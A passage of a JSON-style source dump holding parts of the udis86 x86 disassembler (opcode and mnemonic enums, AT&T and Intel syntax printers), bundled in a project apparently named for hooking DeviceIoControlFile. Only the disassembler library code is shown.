ITAB__1BYTE__OP_99__OSIZE,\n ITAB__1BYTE__OP_9C__MODE,\n ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE,\n ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE,\n ITAB__1BYTE__OP_9D__MODE,\n ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE,\n ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE,\n ITAB__1BYTE__OP_A5__OSIZE,\n ITAB__1BYTE__OP_A7__OSIZE,\n ITAB__1BYTE__OP_AB__OSIZE,\n ITAB__1BYTE__OP_AD__OSIZE,\n ITAB__1BYTE__OP_AE__MOD,\n ITAB__1BYTE__OP_AE__MOD__OP_00__REG,\n ITAB__1BYTE__OP_AF__OSIZE,\n ITAB__1BYTE__OP_C0__REG,\n ITAB__1BYTE__OP_C1__REG,\n ITAB__1BYTE__OP_C6__REG,\n ITAB__1BYTE__OP_C7__REG,\n ITAB__1BYTE__OP_CF__OSIZE,\n ITAB__1BYTE__OP_D0__REG,\n ITAB__1BYTE__OP_D1__REG,\n ITAB__1BYTE__OP_D2__REG,\n ITAB__1BYTE__OP_D3__REG,\n ITAB__1BYTE__OP_D8__MOD,\n ITAB__1BYTE__OP_D8__MOD__OP_00__REG,\n ITAB__1BYTE__OP_D8__MOD__OP_01__X87,\n ITAB__1BYTE__OP_D9__MOD,\n ITAB__1BYTE__OP_D9__MOD__OP_00__REG,\n ITAB__1BYTE__OP_D9__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DA__MOD,\n ITAB__1BYTE__OP_DA__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DA__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DB__MOD,\n ITAB__1BYTE__OP_DB__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DB__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DC__MOD,\n ITAB__1BYTE__OP_DC__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DC__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DD__MOD,\n ITAB__1BYTE__OP_DD__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DD__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DE__MOD,\n ITAB__1BYTE__OP_DE__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DE__MOD__OP_01__X87,\n ITAB__1BYTE__OP_DF__MOD,\n ITAB__1BYTE__OP_DF__MOD__OP_00__REG,\n ITAB__1BYTE__OP_DF__MOD__OP_01__X87,\n ITAB__1BYTE__OP_E3__ASIZE,\n ITAB__1BYTE__OP_F6__REG,\n ITAB__1BYTE__OP_F7__REG,\n ITAB__1BYTE__OP_FE__REG,\n ITAB__1BYTE__OP_FF__REG,\n ITAB__3DNOW,\n ITAB__PFX_SSE66__0F,\n ITAB__PFX_SSE66__0F__OP_71__REG,\n ITAB__PFX_SSE66__0F__OP_72__REG,\n ITAB__PFX_SSE66__0F__OP_73__REG,\n ITAB__PFX_SSE66__0F__OP_C7__REG,\n ITAB__PFX_SSE66__0F__OP_C7__REG__OP_00__VENDOR,\n ITAB__PFX_SSEF2__0F,\n ITAB__PFX_SSEF3__0F,\n ITAB__PFX_SSEF3__0F__OP_C7__REG,\n ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR,\n};\n\n\nenum ud_mnemonic_code {\n UD_I3dnow,\n UD_Iaaa,\n UD_Iaad,\n UD_Iaam,\n UD_Iaas,\n UD_Iadc,\n UD_Iadd,\n UD_Iaddpd,\n UD_Iaddps,\n UD_Iaddsd,\n UD_Iaddss,\n UD_Iaddsubpd,\n UD_Iaddsubps,\n UD_Iand,\n UD_Iandpd,\n UD_Iandps,\n UD_Iandnpd,\n UD_Iandnps,\n UD_Iarpl,\n UD_Imovsxd,\n UD_Ibound,\n UD_Ibsf,\n UD_Ibsr,\n UD_Ibswap,\n UD_Ibt,\n UD_Ibtc,\n UD_Ibtr,\n UD_Ibts,\n UD_Icall,\n UD_Icbw,\n UD_Icwde,\n UD_Icdqe,\n UD_Iclc,\n UD_Icld,\n UD_Iclflush,\n UD_Iclgi,\n UD_Icli,\n UD_Iclts,\n UD_Icmc,\n UD_Icmovo,\n UD_Icmovno,\n UD_Icmovb,\n UD_Icmovae,\n UD_Icmovz,\n UD_Icmovnz,\n UD_Icmovbe,\n UD_Icmova,\n UD_Icmovs,\n UD_Icmovns,\n UD_Icmovp,\n UD_Icmovnp,\n UD_Icmovl,\n UD_Icmovge,\n UD_Icmovle,\n UD_Icmovg,\n UD_Icmp,\n UD_Icmppd,\n UD_Icmpps,\n UD_Icmpsb,\n UD_Icmpsw,\n UD_Icmpsd,\n UD_Icmpsq,\n UD_Icmpss,\n UD_Icmpxchg,\n UD_Icmpxchg8b,\n UD_Icomisd,\n UD_Icomiss,\n UD_Icpuid,\n UD_Icvtdq2pd,\n UD_Icvtdq2ps,\n UD_Icvtpd2dq,\n UD_Icvtpd2pi,\n UD_Icvtpd2ps,\n UD_Icvtpi2ps,\n UD_Icvtpi2pd,\n UD_Icvtps2dq,\n UD_Icvtps2pi,\n UD_Icvtps2pd,\n UD_Icvtsd2si,\n UD_Icvtsd2ss,\n UD_Icvtsi2ss,\n UD_Icvtss2si,\n UD_Icvtss2sd,\n UD_Icvttpd2pi,\n UD_Icvttpd2dq,\n UD_Icvttps2dq,\n UD_Icvttps2pi,\n UD_Icvttsd2si,\n UD_Icvtsi2sd,\n UD_Icvttss2si,\n UD_Icwd,\n UD_Icdq,\n UD_Icqo,\n UD_Idaa,\n UD_Idas,\n UD_Idec,\n UD_Idiv,\n UD_Idivpd,\n UD_Idivps,\n UD_Idivsd,\n UD_Idivss,\n UD_Iemms,\n UD_Ienter,\n UD_If2xm1,\n UD_Ifabs,\n UD_Ifadd,\n UD_Ifaddp,\n UD_Ifbld,\n UD_Ifbstp,\n UD_Ifchs,\n UD_Ifclex,\n UD_Ifcmovb,\n UD_Ifcmove,\n UD_Ifcmovbe,\n UD_Ifcmovu,\n UD_Ifcmovnb,\n UD_Ifcmovne,\n UD_Ifcmovnbe,\n UD_Ifcmovnu,\n UD_Ifucomi,\n UD_Ifcom,\n UD_Ifcom2,\n UD_Ifcomp3,\n UD_Ifcomi,\n UD_Ifucomip,\n UD_Ifcomip,\n UD_Ifcomp,\n UD_Ifcomp5,\n UD_Ifcompp,\n UD_Ifcos,\n UD_Ifdecstp,\n UD_Ifdiv,\n UD_Ifdivp,\n UD_Ifdivr,\n UD_Ifdivrp,\n UD_Ifemms,\n UD_Iffree,\n UD_Iffreep,\n UD_Ificom,\n UD_Ificomp,\n UD_Ifild,\n UD_Ifncstp,\n UD_Ifninit,\n UD_Ifiadd,\n UD_Ifidivr,\n UD_Ifidiv,\n UD_Ifisub,\n UD_Ifisubr,\n UD_Ifist,\n UD_Ifistp,\n UD_Ifisttp,\n UD_Ifld,\n UD_Ifld1,\n UD_Ifldl2t,\n UD_Ifldl2e,\n UD_Ifldlpi,\n UD_Ifldlg2,\n UD_Ifldln2,\n UD_Ifldz,\n UD_Ifldcw,\n UD_Ifldenv,\n UD_Ifmul,\n UD_Ifmulp,\n UD_Ifimul,\n UD_Ifnop,\n UD_Ifpatan,\n UD_Ifprem,\n UD_Ifprem1,\n UD_Ifptan,\n UD_Ifrndint,\n UD_Ifrstor,\n UD_Ifnsave,\n UD_Ifscale,\n UD_Ifsin,\n UD_Ifsincos,\n UD_Ifsqrt,\n UD_Ifstp,\n UD_Ifstp1,\n UD_Ifstp8,\n UD_Ifstp9,\n UD_Ifst,\n UD_Ifnstcw,\n UD_Ifnstenv,\n UD_Ifnstsw,\n UD_Ifsub,\n UD_Ifsubp,\n UD_Ifsubr,\n UD_Ifsubrp,\n UD_Iftst,\n UD_Ifucom,\n UD_Ifucomp,\n UD_Ifucompp,\n UD_Ifxam,\n UD_Ifxch,\n UD_Ifxch4,\n UD_Ifxch7,\n UD_Ifxrstor,\n UD_Ifxsave,\n UD_Ifpxtract,\n UD_Ifyl2x,\n UD_Ifyl2xp1,\n UD_Ihaddpd,\n UD_Ihaddps,\n UD_Ihlt,\n UD_Ihsubpd,\n UD_Ihsubps,\n UD_Iidiv,\n UD_Iin,\n UD_Iimul,\n UD_Iinc,\n UD_Iinsb,\n UD_Iinsw,\n UD_Iinsd,\n UD_Iint1,\n UD_Iint3,\n UD_Iint,\n UD_Iinto,\n UD_Iinvd,\n UD_Iinvlpg,\n UD_Iinvlpga,\n UD_Iiretw,\n UD_Iiretd,\n UD_Iiretq,\n UD_Ijo,\n UD_Ijno,\n UD_Ijb,\n UD_Ijae,\n UD_Ijz,\n UD_Ijnz,\n UD_Ijbe,\n UD_Ija,\n UD_Ijs,\n UD_Ijns,\n UD_Ijp,\n UD_Ijnp,\n UD_Ijl,\n UD_Ijge,\n UD_Ijle,\n UD_Ijg,\n UD_Ijcxz,\n UD_Ijecxz,\n UD_Ijrcxz,\n UD_Ijmp,\n UD_Ilahf,\n UD_Ilar,\n UD_Ilddqu,\n UD_Ildmxcsr,\n UD_Ilds,\n UD_Ilea,\n UD_Iles,\n UD_Ilfs,\n UD_Ilgs,\n UD_Ilidt,\n UD_Ilss,\n UD_Ileave,\n UD_Ilfence,\n UD_Ilgdt,\n UD_Illdt,\n UD_Ilmsw,\n UD_Ilock,\n UD_Ilodsb,\n UD_Ilodsw,\n UD_Ilodsd,\n UD_Ilodsq,\n UD_Iloopnz,\n UD_Iloope,\n UD_Iloop,\n UD_Ilsl,\n UD_Iltr,\n UD_Imaskmovq,\n UD_Imaxpd,\n UD_Imaxps,\n UD_Imaxsd,\n UD_Imaxss,\n UD_Imfence,\n UD_Iminpd,\n UD_Iminps,\n UD_Iminsd,\n UD_Iminss,\n UD_Imonitor,\n UD_Imov,\n UD_Imovapd,\n UD_Imovaps,\n UD_Imovd,\n UD_Imovddup,\n UD_Imovdqa,\n UD_Imovdqu,\n UD_Imovdq2q,\n UD_Imovhpd,\n UD_Imovhps,\n UD_Imovlhps,\n UD_Imovlpd,\n UD_Imovlps,\n UD_Imovhlps,\n UD_Imovmskpd,\n UD_Imovmskps,\n UD_Imovntdq,\n UD_Imovnti,\n UD_Imovntpd,\n UD_Imovntps,\n UD_Imovntq,\n UD_Imovq,\n UD_Imovqa,\n UD_Imovq2dq,\n UD_Imovsb,\n UD_Imovsw,\n UD_Imovsd,\n UD_Imovsq,\n UD_Imovsldup,\n UD_Imovshdup,\n UD_Imovss,\n UD_Imovsx,\n UD_Imovupd,\n UD_Imovups,\n UD_Imovzx,\n UD_Imul,\n UD_Imulpd,\n UD_Imulps,\n UD_Imulsd,\n UD_Imulss,\n UD_Imwait,\n UD_Ineg,\n UD_Inop,\n UD_Inot,\n UD_Ior,\n UD_Iorpd,\n UD_Iorps,\n UD_Iout,\n UD_Ioutsb,\n UD_Ioutsw,\n UD_Ioutsd,\n UD_Ioutsq,\n UD_Ipacksswb,\n UD_Ipackssdw,\n UD_Ipackuswb,\n UD_Ipaddb,\n UD_Ipaddw,\n UD_Ipaddq,\n UD_Ipaddsb,\n UD_Ipaddsw,\n UD_Ipaddusb,\n UD_Ipaddusw,\n UD_Ipand,\n UD_Ipandn,\n UD_Ipause,\n UD_Ipavgb,\n UD_Ipavgw,\n UD_Ipcmpeqb,\n UD_Ipcmpeqw,\n UD_Ipcmpeqd,\n UD_Ipcmpgtb,\n UD_Ipcmpgtw,\n UD_Ipcmpgtd,\n UD_Ipextrw,\n UD_Ipinsrw,\n UD_Ipmaddwd,\n UD_Ipmaxsw,\n UD_Ipmaxub,\n UD_Ipminsw,\n UD_Ipminub,\n UD_Ipmovmskb,\n UD_Ipmulhuw,\n UD_Ipmulhw,\n UD_Ipmullw,\n UD_Ipmuludq,\n UD_Ipop,\n UD_Ipopa,\n UD_Ipopad,\n UD_Ipopfw,\n UD_Ipopfd,\n UD_Ipopfq,\n UD_Ipor,\n UD_Iprefetch,\n UD_Iprefetchnta,\n UD_Iprefetcht0,\n UD_Iprefetcht1,\n UD_Iprefetcht2,\n UD_Ipsadbw,\n UD_Ipshufd,\n UD_Ipshufhw,\n UD_Ipshuflw,\n UD_Ipshufw,\n UD_Ipslldq,\n UD_Ipsllw,\n UD_Ipslld,\n UD_Ipsllq,\n UD_Ipsraw,\n UD_Ipsrad,\n UD_Ipsrlw,\n UD_Ipsrld,\n UD_Ipsrlq,\n UD_Ipsrldq,\n UD_Ipsubb,\n UD_Ipsubw,\n UD_Ipsubd,\n UD_Ipsubq,\n UD_Ipsubsb,\n UD_Ipsubsw,\n UD_Ipsubusb,\n UD_Ipsubusw,\n UD_Ipunpckhbw,\n UD_Ipunpckhwd,\n UD_Ipunpckhdq,\n UD_Ipunpckhqdq,\n UD_Ipunpcklbw,\n UD_Ipunpcklwd,\n UD_Ipunpckldq,\n UD_Ipunpcklqdq,\n UD_Ipi2fw,\n UD_Ipi2fd,\n UD_Ipf2iw,\n UD_Ipf2id,\n UD_Ipfnacc,\n UD_Ipfpnacc,\n UD_Ipfcmpge,\n UD_Ipfmin,\n UD_Ipfrcp,\n UD_Ipfrsqrt,\n UD_Ipfsub,\n UD_Ipfadd,\n UD_Ipfcmpgt,\n UD_Ipfmax,\n UD_Ipfrcpit1,\n UD_Ipfrspit1,\n UD_Ipfsubr,\n UD_Ipfacc,\n UD_Ipfcmpeq,\n UD_Ipfmul,\n UD_Ipfrcpit2,\n UD_Ipmulhrw,\n UD_Ipswapd,\n UD_Ipavgusb,\n UD_Ipush,\n UD_Ipusha,\n UD_Ipushad,\n UD_Ipushfw,\n UD_Ipushfd,\n UD_Ipushfq,\n UD_Ipxor,\n UD_Ircl,\n UD_Ircr,\n UD_Irol,\n UD_Iror,\n UD_Ircpps,\n UD_Ircpss,\n UD_Irdmsr,\n UD_Irdpmc,\n UD_Irdtsc,\n UD_Irdtscp,\n UD_Irepne,\n UD_Irep,\n UD_Iret,\n UD_Iretf,\n UD_Irsm,\n UD_Irsqrtps,\n UD_Irsqrtss,\n UD_Isahf,\n UD_Isal,\n UD_Isalc,\n UD_Isar,\n UD_Ishl,\n UD_Ishr,\n UD_Isbb,\n UD_Iscasb,\n UD_Iscasw,\n UD_Iscasd,\n UD_Iscasq,\n UD_Iseto,\n UD_Isetno,\n UD_Isetb,\n UD_Isetnb,\n UD_Isetz,\n UD_Isetnz,\n UD_Isetbe,\n UD_Iseta,\n UD_Isets,\n UD_Isetns,\n UD_Isetp,\n UD_Isetnp,\n UD_Isetl,\n UD_Isetge,\n UD_Isetle,\n UD_Isetg,\n UD_Isfence,\n UD_Isgdt,\n UD_Ishld,\n UD_Ishrd,\n UD_Ishufpd,\n UD_Ishufps,\n UD_Isidt,\n UD_Isldt,\n UD_Ismsw,\n UD_Isqrtps,\n UD_Isqrtpd,\n UD_Isqrtsd,\n UD_Isqrtss,\n UD_Istc,\n UD_Istd,\n UD_Istgi,\n UD_Isti,\n UD_Iskinit,\n UD_Istmxcsr,\n UD_Istosb,\n UD_Istosw,\n UD_Istosd,\n UD_Istosq,\n UD_Istr,\n UD_Isub,\n UD_Isubpd,\n UD_Isubps,\n UD_Isubsd,\n UD_Isubss,\n UD_Iswapgs,\n UD_Isyscall,\n UD_Isysenter,\n UD_Isysexit,\n UD_Isysret,\n UD_Itest,\n UD_Iucomisd,\n UD_Iucomiss,\n UD_Iud2,\n UD_Iunpckhpd,\n UD_Iunpckhps,\n UD_Iunpcklps,\n UD_Iunpcklpd,\n UD_Iverr,\n UD_Iverw,\n UD_Ivmcall,\n UD_Ivmclear,\n UD_Ivmxon,\n UD_Ivmptrld,\n UD_Ivmptrst,\n UD_Ivmresume,\n UD_Ivmxoff,\n UD_Ivmrun,\n UD_Ivmmcall,\n UD_Ivmload,\n UD_Ivmsave,\n UD_Iwait,\n UD_Iwbinvd,\n UD_Iwrmsr,\n UD_Ixadd,\n UD_Ixchg,\n UD_Ixlatb,\n UD_Ixor,\n UD_Ixorpd,\n UD_Ixorps,\n UD_Idb,\n UD_Iinvalid,\n UD_Id3vil,\n UD_Ina,\n UD_Igrp_reg,\n UD_Igrp_rm,\n UD_Igrp_vendor,\n UD_Igrp_x87,\n UD_Igrp_mode,\n UD_Igrp_osize,\n UD_Igrp_asize,\n UD_Igrp_mod,\n UD_Inone,\n};\n\n\n\nextern const char* ud_mnemonics_str[];;\nextern struct ud_itab_entry* ud_itab_list[];\n\n#endif\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-att.c", "content": "/* -----------------------------------------------------------------------------\n * syn-att.c\n *\n * Copyright (c) 2004, 2005, 2006 Vivek Mohan \n * All rights reserved. See (LICENSE)\n * -----------------------------------------------------------------------------\n */\n\n#include \"types.h\"\n#include \"extern.h\"\n#include \"decode.h\"\n#include \"itab.h\"\n#include \"syn.h\"\n\n/* -----------------------------------------------------------------------------\n * opr_cast() - Prints an operand cast.\n * -----------------------------------------------------------------------------\n */\nstatic void \nopr_cast(struct ud* u, struct ud_operand* op)\n{\n switch(op->size) {\n\tcase 16 : case 32 :\n\t\tmkasm(u, \"*\"); break;\n\tdefault: break;\n }\n}\n\n/* -----------------------------------------------------------------------------\n * gen_operand() - Generates assembly output for each operand.\n * -----------------------------------------------------------------------------\n */\nstatic void \ngen_operand(struct ud* u, struct ud_operand* op)\n{\n switch(op->type) {\n\tcase UD_OP_REG:\n\t\tmkasm(u, \"%%%s\", ud_reg_tab[op->base - UD_R_AL]);\n\t\tbreak;\n\n\tcase UD_OP_MEM:\n\t\tif (u->br_far) opr_cast(u, op);\n\t\tif (u->pfx_seg)\n\t\t\tmkasm(u, \"%%%s:\", ud_reg_tab[u->pfx_seg - UD_R_AL]);\n\t\tif (op->offset == 8) {\n\t\t\tif (op->lval.sbyte < 0)\n\t\t\t\tmkasm(u, \"-0x%x\", (-op->lval.sbyte) & 0xff);\n\t\t\telse\tmkasm(u, \"0x%x\", op->lval.sbyte);\n\t\t} \n\t\telse if (op->offset == 16) \n\t\t\tmkasm(u, \"0x%x\", op->lval.uword);\n\t\telse if (op->offset == 32) \n\t\t\tmkasm(u, \"0x%lx\", op->lval.udword);\n\t\telse if (op->offset == 64) \n\t\t\tmkasm(u, \"0x\" FMT64 \"x\", op->lval.uqword);\n\n\t\tif (op->base)\n\t\t\tmkasm(u, \"(%%%s\", ud_reg_tab[op->base - UD_R_AL]);\n\t\tif (op->index) {\n\t\t\tif (op->base)\n\t\t\t\tmkasm(u, \",\");\n\t\t\telse mkasm(u, \"(\");\n\t\t\tmkasm(u, \"%%%s\", ud_reg_tab[op->index - UD_R_AL]);\n\t\t}\n\t\tif (op->scale)\n\t\t\tmkasm(u, \",%d\", op->scale);\n\t\tif (op->base || op->index)\n\t\t\tmkasm(u, \")\");\n\t\tbreak;\n\n\tcase UD_OP_IMM:\n\t\tswitch (op->size) {\n\t\t\tcase 8: mkasm(u, \"$0x%x\", op->lval.ubyte); break;\n\t\t\tcase 16: mkasm(u, \"$0x%x\", op->lval.uword); break;\n\t\t\tcase 32: mkasm(u, \"$0x%lx\", op->lval.udword); break;\n\t\t\tcase 64: mkasm(u, \"$0x\" FMT64 \"x\", op->lval.uqword); break;\n\t\t\tdefault: break;\n\t\t}\n\t\tbreak;\n\n\tcase UD_OP_JIMM:\n\t\tswitch (op->size) {\n\t\t\tcase 8:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sbyte); \n\t\t\t\tbreak;\n\t\t\tcase 16:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sword);\n\t\t\t\tbreak;\n\t\t\tcase 32:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sdword);\n\t\t\t\tbreak;\n\t\t\tdefault:break;\n\t\t}\n\t\tbreak;\n\n\tcase UD_OP_PTR:\n\t\tswitch (op->size) {\n\t\t\tcase 32:\n\t\t\t\tmkasm(u, \"$0x%x, $0x%x\", op->lval.ptr.seg, \n\t\t\t\t\top->lval.ptr.off & 0xFFFF);\n\t\t\t\tbreak;\n\t\t\tcase 48:\n\t\t\t\tmkasm(u, \"$0x%x, $0x%lx\", op->lval.ptr.seg, \n\t\t\t\t\top->lval.ptr.off);\n\t\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\t\t\t\n\tdefault: return;\n }\n}\n\n/* =============================================================================\n * translates to AT&T syntax \n * =============================================================================\n */\nextern void \nud_translate_att(struct ud *u)\n{\n int size = 0;\n\n /* check if P_OSO prefix is used */\n if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) {\n\tswitch (u->dis_mode) {\n\t\tcase 16: \n\t\t\tmkasm(u, \"o32 \");\n\t\t\tbreak;\n\t\tcase 32:\n\t\tcase 64:\n \t\t\tmkasm(u, \"o16 \");\n\t\t\tbreak;\n\t}\n }\n\n /* check if P_ASO prefix was used */\n if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) {\n\tswitch (u->dis_mode) {\n\t\tcase 16: \n\t\t\tmkasm(u, \"a32 \");\n\t\t\tbreak;\n\t\tcase 32:\n \t\t\tmkasm(u, \"a16 \");\n\t\t\tbreak;\n\t\tcase 64:\n \t\t\tmkasm(u, \"a32 \");\n\t\t\tbreak;\n\t}\n }\n\n if (u->pfx_lock)\n \tmkasm(u, \"lock \");\n if (u->pfx_rep)\n\tmkasm(u, \"rep \");\n if (u->pfx_repne)\n\t\tmkasm(u, \"repne \");\n\n /* special instructions */\n switch (u->mnemonic) {\n\tcase UD_Iretf: \n\t\tmkasm(u, \"lret \"); \n\t\tbreak;\n\tcase UD_Idb:\n\t\tmkasm(u, \".byte 0x%x\", u->operand[0].lval.ubyte);\n\t\treturn;\n\tcase UD_Ijmp:\n\tcase UD_Icall:\n\t\tif (u->br_far) mkasm(u, \"l\");\n\t\tmkasm(u, \"%s\", ud_lookup_mnemonic(u->mnemonic));\n\t\tbreak;\n\tcase UD_Ibound:\n\tcase UD_Ienter:\n\t\tif (u->operand[0].type != UD_NONE)\n\t\t\tgen_operand(u, &u->operand[0]);\n\t\tif (u->operand[1].type != UD_NONE) {\n\t\t\tmkasm(u, \",\");\n\t\t\tgen_operand(u, &u->operand[1]);\n\t\t}\n\t\treturn;\n\tdefault:\n\t\tmkasm(u, \"%s\", ud_lookup_mnemonic(u->mnemonic));\n }\n\n if (u->c1)\n\tsize = u->operand[0].size;\n else if (u->c2)\n\tsize = u->operand[1].size;\n else if (u->c3)\n\tsize = u->operand[2].size;\n\n if (size == 8)\n\tmkasm(u, \"b\");\n else if (size == 16)\n\tmkasm(u, \"w\");\n else if (size == 64)\n \tmkasm(u, \"q\");\n\n mkasm(u, \" \");\n\n if (u->operand[2].type != UD_NONE) {\n\tgen_operand(u, &u->operand[2]);\n\tmkasm(u, \", \");\n }\n\n if (u->operand[1].type != UD_NONE) {\n\tgen_operand(u, &u->operand[1]);\n\tmkasm(u, \", \");\n }\n\n if (u->operand[0].type != UD_NONE)\n\tgen_operand(u, &u->operand[0]);\n}\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/syn-intel.c", "content": "/* -----------------------------------------------------------------------------\n * syn-intel.c\n *\n * Copyright (c) 2002, 2003, 2004 Vivek Mohan \n * All rights reserved. See (LICENSE)\n * -----------------------------------------------------------------------------\n */\n\n#include \"types.h\"\n#include \"extern.h\"\n#include \"decode.h\"\n#include \"itab.h\"\n#include \"syn.h\"\n\n/* -----------------------------------------------------------------------------\n * opr_cast() - Prints an operand cast.\n * -----------------------------------------------------------------------------\n */\nstatic void \nopr_cast(struct ud* u, struct ud_operand* op)\n{\n switch(op->size) {\n\tcase 8: mkasm(u, \"byte \" ); break;\n\tcase 16: mkasm(u, \"word \" ); break;\n\tcase 32: mkasm(u, \"dword \"); break;\n\tcase 64: mkasm(u, \"qword \"); break;\n\tcase 80: mkasm(u, \"tword \"); break;\n\tdefault: break;\n }\n if (u->br_far)\n\tmkasm(u, \"far \"); \n else if (u->br_near)\n\tmkasm(u, \"near \");\n}\n\n/* -----------------------------------------------------------------------------\n * gen_operand() - Generates assembly output for each operand.\n * -----------------------------------------------------------------------------\n */\nstatic void gen_operand(struct ud* u, struct ud_operand* op, int syn_cast)\n{\n switch(op->type) {\n\tcase UD_OP_REG:\n\t\tmkasm(u, ud_reg_tab[op->base - UD_R_AL]);\n\t\tbreak;\n\n\tcase UD_OP_MEM: {\n\n\t\tint op_f = 0;\n\n\t\tif (syn_cast) \n\t\t\topr_cast(u, op);\n\n\t\tmkasm(u, \"[\");\n\n\t\tif (u->pfx_seg)\n\t\t\tmkasm(u, \"%s:\", ud_reg_tab[u->pfx_seg - UD_R_AL]);\n\n\t\tif (op->base) {\n\t\t\tmkasm(u, \"%s\", ud_reg_tab[op->base - UD_R_AL]);\n\t\t\top_f = 1;\n\t\t}\n\n\t\tif (op->index) {\n\t\t\tif (op_f)\n\t\t\t\tmkasm(u, \"+\");\n\t\t\tmkasm(u, \"%s\", ud_reg_tab[op->index - UD_R_AL]);\n\t\t\top_f = 1;\n\t\t}\n\n\t\tif (op->scale)\n\t\t\tmkasm(u, \"*%d\", op->scale);\n\n\t\tif (op->offset == 8) {\n\t\t\tif (op->lval.sbyte < 0)\n\t\t\t\tmkasm(u, \"-0x%x\", -op->lval.sbyte);\n\t\t\telse\tmkasm(u, \"%s0x%x\", (op_f) ? \"+\" : \"\", op->lval.sbyte);\n\t\t}\n\t\telse if (op->offset == 16)\n\t\t\tmkasm(u, \"%s0x%x\", (op_f) ? \"+\" : \"\", op->lval.uword);\n\t\telse if (op->offset == 32) {\n\t\t\tif (u->adr_mode == 64) {\n\t\t\t\tif (op->lval.sdword < 0)\n\t\t\t\t\tmkasm(u, \"-0x%x\", -op->lval.sdword);\n\t\t\t\telse\tmkasm(u, \"%s0x%x\", (op_f) ? \"+\" : \"\", op->lval.sdword);\n\t\t\t} \n\t\t\telse\tmkasm(u, \"%s0x%lx\", (op_f) ? \"+\" : \"\", op->lval.udword);\n\t\t}\n\t\telse if (op->offset == 64) \n\t\t\tmkasm(u, \"%s0x\" FMT64 \"x\", (op_f) ? \"+\" : \"\", op->lval.uqword);\n\n\t\tmkasm(u, \"]\");\n\t\tbreak;\n\t}\n\t\t\t\n\tcase UD_OP_IMM:\n\t\tif (syn_cast) opr_cast(u, op);\n\t\tswitch (op->size) {\n\t\t\tcase 8: mkasm(u, \"0x%x\", op->lval.ubyte); break;\n\t\t\tcase 16: mkasm(u, \"0x%x\", op->lval.uword); break;\n\t\t\tcase 32: mkasm(u, \"0x%lx\", op->lval.udword); break;\n\t\t\tcase 64: mkasm(u, \"0x\" FMT64 \"x\", op->lval.uqword); break;\n\t\t\tdefault: break;\n\t\t}\n\t\tbreak;\n\n\tcase UD_OP_JIMM:\n\t\tif (syn_cast) opr_cast(u, op);\n\t\tswitch (op->size) {\n\t\t\tcase 8:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sbyte); \n\t\t\t\tbreak;\n\t\t\tcase 16:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sword);\n\t\t\t\tbreak;\n\t\t\tcase 32:\n\t\t\t\tmkasm(u, \"0x\" FMT64 \"x\", u->pc + op->lval.sdword);\n\t\t\t\tbreak;\n\t\t\tdefault:break;\n\t\t}\n\t\tbreak;\n\n\tcase UD_OP_PTR:\n\t\tswitch (op->size) {\n\t\t\tcase 32:\n\t\t\t\tmkasm(u, \"word 0x%x:0x%x\", op->lval.ptr.seg, \n\t\t\t\t\top->lval.ptr.off & 0xFFFF);\n\t\t\t\tbreak;\n\t\t\tcase 48:\n\t\t\t\tmkasm(u, \"dword 0x%x:0x%lx\", op->lval.ptr.seg, \n\t\t\t\t\top->lval.ptr.off);\n\t\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\n\tcase UD_OP_CONST:\n\t\tif (syn_cast) opr_cast(u, op);\n\t\tmkasm(u, \"%d\", op->lval.udword);\n\t\tbreak;\n\n\tdefault: return;\n }\n}\n\n/* =============================================================================\n * translates to intel syntax \n * =============================================================================\n */\nextern void ud_translate_intel(struct ud* u)\n{\n /* -- prefixes -- */\n\n /* check if P_OSO prefix is used */\n if (! P_OSO(u->itab_entry->prefix) && u->pfx_opr) {\n\tswitch (u->dis_mode) {\n\t\tcase 16: \n\t\t\tmkasm(u, \"o32 \");\n\t\t\tbreak;\n\t\tcase 32:\n\t\tcase 64:\n \t\t\tmkasm(u, \"o16 \");\n\t\t\tbreak;\n\t}\n }\n\n /* check if P_ASO prefix was used */\n if (! P_ASO(u->itab_entry->prefix) && u->pfx_adr) {\n\tswitch (u->dis_mode) {\n\t\tcase 16: \n\t\t\tmkasm(u, \"a32 \");\n\t\t\tbreak;\n\t\tcase 32:\n \t\t\tmkasm(u, \"a16 \");\n\t\t\tbreak;\n\t\tcase 64:\n \t\t\tmkasm(u, \"a32 \");\n\t\t\tbreak;\n\t}\n }\n\n if (u->pfx_lock)\n\tmkasm(u, \"lock \");\n if (u->pfx_rep)\n\tmkasm(u, \"rep \");\n if (u->pfx_repne)\n\tmkasm(u, \"repne \");\n if (u->implicit_addr && u->pfx_seg)\n\tmkasm(u, \"%s \", ud_reg_tab[u->pfx_seg - UD_R_AL]);\n\n /* print the instruction mnemonic */\n mkasm(u, \"%s \", ud_lookup_mnemonic(u->mnemonic));\n\n /* operand 1 */\n if (u->operand[0].type != UD_NONE) {\n\tgen_operand(u, &u->operand[0], u->c1);\n }\n /* operand 2 */\n if (u->operand[1].type != UD_NONE) {\n\tmkasm(u, \", \");\n\tgen_operand(u, &u->operand[1], u->c2);\n }\n\n /* operand 3 */\n if (u->operand[2].type != UD_NONE) {\n\tmkasm(u, \", 